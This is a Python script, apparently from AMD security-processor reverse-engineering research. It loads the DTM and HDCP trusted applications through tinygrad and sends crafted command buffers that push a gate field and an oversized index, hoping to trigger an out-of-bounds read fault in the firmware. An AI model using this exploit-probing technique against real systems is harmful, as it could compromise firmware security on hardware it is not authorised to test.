1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
"""Use DTM cmd 4 (topology_update_v2) -- its descriptor is 11 dwords (44 B) and so
covers a2[32] -> entry+40, the gate. DTM cmd 2's descriptor is only 28 B, so
entry+40 came from DTM stack and the gate was unreachable that way.
Goal: set entry+40 == 0x30, entry+32 != 0, entry+20 = huge, then poke the paths
and look for a data abort from LDRB [0xD42660 + 3*entry20 + 2].
"""
import ctypes,struct,sys
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32,hi32
d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp
SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp); P='/Users/user/dev/amd-psp-re/psp_out/'; S=0x8000
def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little")
def alloc(n):
pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa)
def load(cmd,blob):
ap,amc=alloc(0x40000); cp,cmc=alloc(S)
adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp()
adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta
t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob)
t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=S
return psp._ring_submit(c).resp.session_id, cp
def inv(sid,shm,buf,tc):
adev.vram.view(shm,S)[:]=bytes(buf); adev.gmc.flush_hdp()
adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
ic=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv=ic.cmd.cmd_invoke_cmd
iv.session_id,iv.ta_cmd_id=sid,tc
try: psp._ring_submit(ic); ps=0
except RuntimeError: ps=stat()
except TimeoutError: return "TIMEOUT",None
return ps, bytes(adev.vram.view(shm,S)[:])
asd,_=load(am.GFX_CMD_ID_LOAD_ASD,open(P+'asd_full.bin','rb').read())
dtm,dsh=load(am.GFX_CMD_ID_LOAD_TA,open(P+'dtm_full.bin','rb').read())
hdcp,hsh=load(am.GFX_CMD_ID_LOAD_TA,open(P+'hdcp_full.bin','rb').read())
print("sids asd=%#x dtm=%#x hdcp=%#x MEMSIZE=%s"%(asd,dtm,hdcp,hex(adev.rreg(0xde3))))
def topo4(req):
"""DTM cmd 4: req is the dword array starting at buf[0] (req[0]=cmd)."""
b=bytearray(S)
for i,v in enumerate(req): struct.pack_into('<I',b,4*i,v&0xffffffff)
struct.pack_into('<I',b,0,4) # command 4
ps,o=inv(dtm,dsh,b,4)
return (ps, struct.unpack_from('<I',o,8)[0] if o else None)
def hc(c,slot=0):
b=bytearray(S); struct.pack_into('<I',b,0,c); struct.pack_into('<I',b,0xC,slot)
ps,o=inv(hdcp,hsh,b,c)
return (ps, struct.unpack_from('<I',o,4)[0] if o else None)
def health(): return psp.is_sos_alive(), hex(adev.rreg(0xde3))
# baseline: find a req[] that DTM accepts (returns 0)
base=[4,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
print("\nbaseline cmd4 accept test: %s"%(topo4(base),))
print("\nsweep: which req index lands on entry+40? drive each to 0x30 and watch dtm ret")
for i in range(2,20):
r=list(base); r[i]=0x30
print(" req[%-2d]=0x30 -> dtm %s"%(i,topo4(r)))
print("\nnow: gate (entry+40=0x30, entry+32!=0) + huge index, via cmd 4")
for idx in (0, 9, 186, 0x100000, 0x10000000):
for gi in (8,9,10,11,12,13,14):
r=list(base); r[gi]=0x30; r[6]=idx; r[7]=1
t=topo4(r); r0=hc(0x0E); r1=hc(0x10)
a,m=health()
bad = (not a) or m!='0x5ff0' or "TIMEOUT" in (str(r0[0]),str(r1[0]))
if bad:
print(" idx=%s gatefield=req[%d] -> dtm=%s 0x0E=%s 0x10=%s <<<< FAULT"%(hex(idx),gi,t,r0,r1)); sys.exit(2)
print(" idx=%-12s all gate positions: no fault (health %s %s)"%(hex(idx),a,m))
print("\nfinal health:",health())
|